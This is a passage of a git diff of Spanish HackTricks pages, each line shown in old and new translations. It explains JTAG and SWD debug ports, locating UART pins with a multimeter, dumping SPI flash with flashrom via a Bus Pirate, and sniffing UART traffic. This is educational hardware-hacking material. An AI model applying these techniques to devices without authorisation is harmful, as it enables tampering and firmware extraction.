- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -19,47 +17,62 @@
# JTAG
JTAG permite realizar un escaneo de límites. El escaneo de límites analiza ciertos circuitos, incluyendo celdas y registros de escaneo de límites integrados para cada pin.
JTAG permite realizar un escaneo de límites. El escaneo de límites analiza ciertos circuitos, incluyendo celdas de escaneo de límites y registros para cada pin.
El estándar JTAG define **comandos específicos para realizar escaneos de límites**, incluyendo los siguientes:
* **BYPASS** permite probar un chip específico sin la sobrecarga de pasar por otros chips.
* **SAMPLE/PRELOAD** toma una muestra de los datos que entran y salen del dispositivo cuando está en su modo de funcionamiento normal.
* **EXTEST** establece y lee los estados de los pines.
* **EXTEST** establece y lee estados de pines.
También puede admitir otros comandos como:
* **IDCODE** para identificar un dispositivo
* **INTEST** para la prueba interna del dispositivo
Es posible que se encuentre con estas instrucciones cuando se utiliza una herramienta como el JTAGulator.
Puedes encontrarte con estas instrucciones cuando uses una herramienta como el JTAGulator.
## El puerto de acceso de prueba
## El Puerto de Acceso de Prueba
Los escaneos de límites incluyen pruebas de los cuatro cables del **Puerto de Acceso de Prueba (TAP)**, un puerto de propósito general que proporciona **acceso al soporte de prueba JTAG** incorporado en un componente. TAP utiliza las siguientes cinco señales:
Los escaneos de límites incluyen pruebas del puerto de cuatro cables **Test Access Port (TAP)**, un puerto de propósito general que proporciona **acceso a las funciones de soporte de prueba JTAG** incorporadas en un componente. TAP utiliza las siguientes cinco señales:
* Entrada de reloj de prueba (**TCK**) El TCK es el **reloj** que define con qué frecuencia el controlador TAP tomará una sola acción (en otras palabras, saltará al siguiente estado en la máquina de estados).
* Selección de modo de prueba (**TMS**) entrada TMS controla la **máquina de estados finitos**. En cada golpe del reloj, el controlador TAP JTAG del dispositivo verifica el voltaje en el pin TMS. Si el voltaje está por debajo de cierto umbral, la señal se considera baja e interpretada como 0, mientras que si el voltaje está por encima de cierto umbral, la señal se considera alta e interpretada como 1.
* Entrada de reloj de prueba (**TCK**) El TCK es el **reloj** que define con qué frecuencia el controlador TAP realizará una sola acción (en otras palabras, saltar al siguiente estado en la máquina de estados).
* Entrada de selección de modo de prueba (**TMS**) TMS controla la **máquina de estados finitos**. En cada latido del reloj, el controlador TAP JTAG del dispositivo verifica el voltaje en el pin TMS. Si el voltaje está por debajo de un cierto umbral, la señal se considera baja e interpretada como 0, mientras que si el voltaje está por encima de un cierto umbral, la señal se considera alta e interpretada como 1.
* Entrada de datos de prueba (**TDI**) TDI es el pin que envía **datos al chip a través de las celdas de escaneo**. Cada proveedor es responsable de definir el protocolo de comunicación sobre este pin, porque JTAG no lo define.
* Salida de datos de prueba (**TDO**) TDO es el pin que envía **datos fuera del chip**.
* Restablecimiento de prueba (**TRST**) entrada El TRST opcional restablece la máquina de estados finitos **a un estado conocido bueno**. Alternativamente, si el TMS se mantiene en 1 durante cinco ciclos de reloj consecutivos, invoca un restablecimiento, de la misma manera que lo haría el pin TRST, por lo que TRST es opcional.
* Entrada de reinicio de prueba (**TRST**) El TRST opcional reinicia la máquina de estados finitos **a un estado conocido como bueno**. Alternativamente, si el TMS se mantiene en 1 durante cinco ciclos de reloj consecutivos, invoca un reinicio, de la misma manera que lo haría el pin TRST, por lo que TRST es opcional.
A veces se podrán encontrar esos pines marcados en la PCB. En otras ocasiones, puede que necesite **encontrarlos**.
A veces podrás encontrar esos pines marcados en la PCB. En otras ocasiones podrías necesitar **encontrarlos**.
## Identificación de pines JTAG
La forma más rápida pero más cara de detectar puertos JTAG es mediante el uso del **JTAGulator**, un dispositivo creado específicamente para este propósito (aunque también puede **detectar los pinouts UART**).
La forma más rápida pero más costosa de detectar puertos JTAG es utilizando el **JTAGulator**, un dispositivo creado específicamente para este propósito (aunque también puede **detectar configuraciones de pines UART**).
Tiene **24 canales** a los que se pueden conectar los pines de las placas. Luego realiza un **ataque BF** de todas las combinaciones posibles enviando comandos de escaneo de límites **IDCODE** y **BYPASS**. Si recibe una respuesta, muestra el canal correspondiente a cada señal JTAG.
Tiene **24 canales** que puedes conectar a los pines de las placas. Luego realiza un **ataque BF** de todas las combinaciones posibles enviando comandos de escaneo de límites **IDCODE** y **BYPASS**. Si recibe una respuesta, muestra el canal correspondiente a cada señal JTAG.
Una forma más barata pero mucho más lenta de identificar los pinouts JTAG es mediante el uso de [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) cargado en un microcontrolador compatible con Arduino.
Una forma más barata pero mucho más lenta de identificar las configuraciones de pines JTAG es utilizando [**JTAGenum**](https://github.com/cyphunk/JTAGenum/) cargado en un microcontrolador compatible con Arduino.
Usando **JTAGenum**, primero **definiría los pines de la sonda** del dispositivo que utilizará para la enumeración. Tendría que hacer referencia al diagrama de asignación de pines del dispositivo y luego conectar estos pines con los puntos de prueba en su dispositivo objetivo.
Usando **JTAGenum**, primero **definirías los pines del dispositivo de sondeo** que usarás para la enumeración. Tendrías que referenciar el diagrama de pines del dispositivo y luego conectar estos pines con los puntos de prueba en tu dispositivo objetivo.
Una **tercera forma** de identificar los pines JTAG es **inspeccionando la PCB** en busca de uno de los pinouts. En algunos casos, las PCB pueden proporcionar convenientemente la **interfaz Tag-Connect**, que es una clara indicación de que la placa tiene un conector JTAG. Puede ver cómo se ve esa interfaz en [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Además, la inspección de las **hojas de datos de los conjuntos de chips en la PCB** puede revelar diagramas de asignación de pines que apuntan a interfaces JTAG.
Una **tercera forma** de identificar pines JTAG es **inspeccionando la PCB** en busca de una de las configuraciones de pines. En algunos casos, las PCB podrían proporcionar convenientemente la **interfaz Tag-Connect**, lo que es una clara indicación de que la placa también tiene un conector JTAG. Puedes ver cómo es esa interfaz en [https://www.tag-connect.com/info/](https://www.tag-connect.com/info/). Además, inspeccionar las **hojas de datos de los chipsets en la PCB** podría revelar diagramas de pines que apuntan a interfaces JTAG.
# SDW
SWD es un protocolo específico de ARM diseñado para la depuración.
La interfaz SWD requiere **dos pines**: una señal bidireccional **SWDIO**, que es el equivalente de los pines **TDI y TDO de JTAG y un reloj**, y **SWCLK**, que es el equivalente de **TCK en JTAG**. Muchos dispositivos admiten el **Puerto de depuración de serie o JTAG (SWJ-DP)**, una interfaz combinada JTAG y SWD que le permite conectar una sonda SWD o JTAG al objetivo.
La interfaz SWD requiere **dos pines**: una señal bidireccional **SWDIO**, que es el equivalente a los pines **TDI y TDO de JTAG y un reloj**, y **SWCLK**, que es el equivalente de **TCK** en JTAG. Muchos dispositivos admiten el **Serial Wire or JTAG Debug Port (SWJ-DP)**, una interfaz combinada de JTAG y SWD que te permite conectar ya sea una sonda SWD o JTAG al objetivo.
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop).
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,16 +1,14 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Consigue la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -23,11 +21,11 @@
![](<../../.gitbook/assets/image (201).png>)
Tenga en cuenta que aunque el PINOUT del Bus Pirate indica pines para **MOSI** y **MISO** para conectarse a SPI, algunos SPI pueden indicar pines como DI y DO. **MOSI -> DI, MISO -> DO**
Ten en cuenta que aunque el PINOUT del Bus Pirate indica pines para **MOSI** y **MISO** para conectarse a SPI, algunos SPIs pueden indicar pines como DI y DO. **MOSI -> DI, MISO -> DO**
![](<../../.gitbook/assets/image (648) (1) (1).png>)
En Windows o Linux, puede usar el programa [**`flashrom`**](https://www.flashrom.org/Flashrom) para volcar el contenido de la memoria flash ejecutando algo como:
En Windows o Linux puedes usar el programa [**`flashrom`**](https://www.flashrom.org/Flashrom) para volcar el contenido de la memoria flash ejecutando algo como:
```bash
# In this command we are indicating:
# -VV Verbose
@ -38,16 +36,14 @@ flashrom -VV -c "W25Q64.V" -p buspirate_spi:dev=COM3 -r flash_content.img
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,45 +1,60 @@
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs exclusivos**](https://opensea.io/collection/the-peass-family)
* **Únete al grupo de** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Información Básica
UART es un protocolo serial, lo que significa que transfiere datos entre componentes un bit a la vez. En contraste, los protocolos de comunicación paralelos transmiten datos simultáneamente a través de múltiples canales. Los protocolos seriales comunes incluyen RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express y USB.
UART es un protocolo serie, lo que significa que transfiere datos entre componentes un bit a la vez. En contraste, los protocolos de comunicación paralela transmiten datos simultáneamente a través de múltiples canales. Protocolos seriales comunes incluyen RS-232, I2C, SPI, CAN, Ethernet, HDMI, PCI Express y USB.
Generalmente, la línea se mantiene alta (en un valor lógico 1) mientras UART está en estado inactivo. Luego, para señalar el inicio de una transferencia de datos, el transmisor envía un bit de inicio al receptor, durante el cual la señal se mantiene baja (en un valor lógico 0). A continuación, el transmisor envía de cinco a ocho bits de datos que contienen el mensaje real, seguido de un bit de paridad opcional y uno o dos bits de parada (con un valor lógico 1), dependiendo de la configuración. El bit de paridad, utilizado para la comprobación de errores, rara vez se ve en la práctica. El bit de parada (o bits) indica el final de la transmisión.
Generalmente, la línea se mantiene alta (con un valor lógico de 1) mientras UART está en estado de reposo. Luego, para señalar el inicio de una transferencia de datos, el transmisor envía un bit de inicio al receptor, durante el cual la señal se mantiene baja (con un valor lógico de 0). A continuación, el transmisor envía de cinco a ocho bits de datos que contienen el mensaje real, seguido de un bit de paridad opcional y uno o dos bits de parada (con un valor lógico de 1), dependiendo de la configuración. El bit de paridad, utilizado para la comprobación de errores, rara vez se ve en la práctica. El bit de parada (o bits) señala el fin de la transmisión.
Llamamos a la configuración más común 8N1: ocho bits de datos, sin paridad y un bit de parada. Por ejemplo, si quisiéramos enviar el carácter C, o 0x43 en ASCII, en una configuración UART 8N1, enviaríamos los siguientes bits: 0 (el bit de inicio); 0, 1, 0, 0, 0, 0, 1, 1 (el valor de 0x43 en binario) y 0 (el bit de parada).
Llamamos a la configuración más común 8N1: ocho bits de datos, sin paridad y un bit de parada. Por ejemplo, si quisiéramos enviar el carácter C, o 0x43 en ASCII, en una configuración UART 8N1, enviaríamos los siguientes bits: 0 (el bit de inicio); 0, 1, 0, 0, 0, 0, 1, 1 (el valor de 0x43 en binario), y 1 (el bit de parada).
![](<../../.gitbook/assets/image (648) (1) (1) (1) (1).png>)
Herramientas de hardware para comunicarse con UART:
* Adaptador USB a serie
* Adaptador USB-a-serial
* Adaptadores con los chips CP2102 o PL2303
* Herramienta multipropósito como: Bus Pirate, el Adafruit FT232H, el Shikra o el Attify Badge
## Identificación de los puertos UART
## Identificación de Puertos UART
UART tiene 4 puertos: **TX** (Transmitir), **RX** (Recibir), **Vcc** (Voltaje) y **GND** (Tierra). Es posible que pueda encontrar 4 puertos con las letras **`TX`** y **`RX`** **escritas** en la PCB. Pero si no hay indicación, es posible que deba intentar encontrarlos usted mismo usando un **multímetro** o un **analizador lógico**.
UART tiene 4 puertos: **TX** (Transmitir), **RX** (Recibir), **Vcc** (Voltaje) y **GND** (Tierra). Podrías ser capaz de encontrar 4 puertos con las letras **`TX`** y **`RX`** **escritas** en la PCB. Pero si no hay indicación, podrías necesitar intentar encontrarlos tú mismo usando un **multímetro** o un **analizador lógico**.
Con un **multímetro** y el dispositivo apagado:
* Para identificar el pin **GND** use el modo de **Prueba de continuidad**, coloque el cable negro en tierra y pruebe con el rojo hasta que escuche un sonido del multímetro. Varios pines GND se pueden encontrar en la PCB, por lo que es posible que haya encontrado o no el que pertenece a UART.
* Para identificar el puerto **VCC**, configure el modo de **voltaje DC** y ajústelo a 20 V de voltaje. Sonda negra en tierra y sonda roja en el pin. Encienda el dispositivo. Si el multímetro mide un voltaje constante de 3,3 V o 5 V, ha encontrado el pin Vcc. Si obtiene otros voltajes, vuelva a intentarlo con otros puertos.
* Para identificar el puerto **TX**, modo de **voltaje DC** hasta 20 V de voltaje, sonda negra en tierra y sonda roja en el pin, y encienda el dispositivo. Si encuentra que el voltaje fluctúa durante unos segundos y luego se estabiliza en el valor Vcc, es probable que haya encontrado el puerto TX. Esto se debe a que al encenderlo, envía algunos datos de depuración.
* El **puerto RX** sería el más cercano a los otros 3, tiene la fluctuación de voltaje más baja y el valor general más bajo de todos los pines UART.
* Para identificar el pin **GND** usa el modo **Prueba de Continuidad**, coloca el cable negro en tierra y prueba con el rojo hasta que escuches un sonido del multímetro. Varios pines GND pueden encontrarse en la PCB, así que podrías haber encontrado o no el que pertenece a UART.
* Para identificar el puerto **VCC**, configura el modo de **voltaje DC** y ajústalo a 20 V de voltaje. Sonda negra en tierra y sonda roja en el pin. Enciende el dispositivo. Si el multímetro mide un voltaje constante de 3.3 V o 5 V, has encontrado el pin Vcc. Si obtienes otros voltajes, reintenta con otros puertos.
* Para identificar el puerto **TX**, modo de **voltaje DC** hasta 20 V de voltaje, sonda negra en tierra y sonda roja en el pin, y enciende el dispositivo. Si encuentras que el voltaje fluctúa por unos segundos y luego se estabiliza en el valor de Vcc, lo más probable es que hayas encontrado el puerto TX. Esto se debe a que al encender, envía algunos datos de depuración.
* El puerto **RX** sería el más cercano a los otros 3, tiene la fluctuación de voltaje más baja y el valor general más bajo de todos los pines UART.
Puede confundir los puertos TX y RX y no sucederá nada, pero si confunde el puerto GND y el puerto VCC, podría dañar el circuito.
Puedes confundir los puertos TX y RX y no pasaría nada, pero si confundes los puertos GND y VCC podrías quemar el circuito.
Con un analizador lógico:
## Identificación de la velocidad de baudios UART
## Identificación de la Tasa de Baudios UART
La forma más fácil de identificar la velocidad de baudios correcta es mirar la **salida del pin TX y tratar de leer los datos**. Si los datos que recibe no son legibles, cambie a la siguiente velocidad de baudios posible hasta que los datos sean legibles. Puede usar un adaptador USB a serie o un dispositivo multipropósito como Bus Pirate para hacer esto, emparejado con un script de ayuda, como [baudrate.py](https://github.com/devttys0/baudrate/). Las velocidades de baudios más comunes son 9600, 38400, 19200, 57600 y 115200.
La forma más fácil de identificar la tasa de baudios correcta es mirar la salida del pin **TX e intentar leer los datos**. Si los datos que recibes no son legibles, cambia a la siguiente tasa de baudios posible hasta que los datos se vuelvan legibles. Puedes usar un adaptador USB-a-serial o un dispositivo multipropósito como Bus Pirate para hacer esto, junto con un script de ayuda, como [baudrate.py](https://github.com/devttys0/baudrate/). Las tasas de baudios más comunes son 9600, 38400, 19200, 57600 y 115200.
{% hint style="danger" %}
¡Es importante tener en cuenta que en este protocolo necesita conectar el TX de un dispositivo al RX del otro!
Es importante notar que en este protocolo necesitas conectar el TX de un dispositivo al RX del otro.
{% endhint %}
# Bus Pirate
En este escenario vamos a espiar la comunicación UART del Arduino que está enviando todas las impresiones del programa al Monitor Serie.
En este escenario vamos a espiar la comunicación UART del Arduino que está enviando todas las impresiones del programa al Monitor Serial.
```bash
# Check the modes
UART>m
@ -59,39 +74,39 @@ x. exit(without change)
# Select UART
(1)>3
Set serial port speed: (bps)
1. 300
2. 1200
3. 2400
4. 4800
5. 9600
6. 19200
7. 38400
8. 57600
9. 115200
1. 300
2. 1200
3. 2400
4. 4800
5. 9600
6. 19200
7. 38400
8. 57600
9. 115200
10. BRG raw value
# Select the speed the communication is occurring on (you BF all this until you find readable things)
# Or you could later use the macro (4) to try to find the speed
(1)>5
Data bits and parity:
1. 8, NONE *default
2. 8, EVEN
3. 8, ODD
4. 9, NONE
# From now on pulse enter for default
1. 8, NONE *default
2. 8, EVEN
3. 8, ODD
4. 9, NONE
# From now on pulse enter for default
(1)>
Stop bits:
1. 1 *default
2. 2
1. 1 *default
2. 2
(1)>
Receive polarity:
1. Idle 1 *default
2. Idle 0
1. Idle 1 *default
2. Idle 0
(1)>
Select output type:
1. Open drain (H=Hi-Z, L=GND)
2. Normal (H=3.3V, L=GND)
1. Open drain (H=Hi-Z, L=GND)
2. Normal (H=3.3V, L=GND)
(1)>
Clutch disengaged!!!
@ -113,16 +128,14 @@ waiting a few secs to repeat....
```
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue**me en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

View file

@ -1,47 +1,45 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
- ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
Otras formas de apoyar a HackTricks:
- Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
- Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
- **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
- **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
# Aprendiendo mediante la práctica
# Aprendizaje Práctico
## [https://www.hackthebox.eu/](https://www.hackthebox.eu) & [https://academy.hackthebox.eu/catalogue](https://academy.hackthebox.eu/catalogue)
Hackthebox tiene máquinas en línea para hackear, es el mejor lugar para aprender mediante la práctica. Si eres nuevo, te recomendaría que aprendas haciendo máquinas retiradas siguiendo los videos de Ippsec.
Hackthebox tiene máquinas en línea para hackear, es el mejor lugar para aprender practicando. Si eres nuevo, te recomendaría aprender haciendo máquinas retiradas siguiendo los videos de Ippsec.
La academia de HackTheBox es la nueva plataforma para aprender hacking de una manera más guiada, ¡también es un gran recurso si quieres practicar hackeando alguna tecnología específica!
La academia de HackTheBox es la nueva plataforma para aprender hacking de una manera más guiada, ¡también es un gran recurso si quieres practicar hacking en alguna tecnología específica!
## [https://tryhackme.com/](https://tryhackme.com)
Tryhackme es una plataforma con máquinas virtuales que deben ser resueltas a través de tutoriales, lo cual es muy bueno para principiantes y CTF normales donde debes hackear las máquinas por ti mismo.
